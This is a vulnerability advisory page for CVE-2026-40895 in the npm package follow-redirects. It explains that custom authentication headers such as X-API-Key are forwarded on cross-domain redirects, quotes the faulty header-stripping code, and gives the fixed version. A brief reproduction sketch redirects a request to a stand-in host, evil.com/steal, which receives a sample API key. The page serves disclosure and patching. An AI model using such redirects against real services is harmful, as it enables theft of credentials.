Live › vulnerability › CVE-2026-40895
follow-redirects strips only authorization, proxy-authorization and cookie headers when a request follows a cross-domain redirect. Custom authentication headers such as X-API-Key are sent unchanged to the redirect target, so that server can capture them.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-11-02 23:19 UTC, 0h before NVD. All times on this page are UTC.
Applications that use follow-redirects, including through axios, and send secrets in custom headers to URLs that can return a cross-domain redirect. Requests that carry no custom credentials, or that only call hosts the team controls, have less exposure. The sources do not say how an attacker would cause the redirect, beyond a server returning a 3xx response.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| follow-redirects | npm | <= 1.15.11 | 1.16.0 |
| follow-redirects project follow-redirects | vendor | < 1.16.0 | 1.16.0 |
npm ls follow-redirects and check whether it is 1.15.11 or older.X-API-Key1.16.0.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
headers: { 'X-API-Key': 'sk-live-secret123' }302 Location: https://evil.com/stealX-API-Key: sk-live-secret123 to evil.comAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Source code review, manually verified. Found 2026-03-20.
This page as .md · .json · in your agent: get_signal("CVE-2026-40895")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.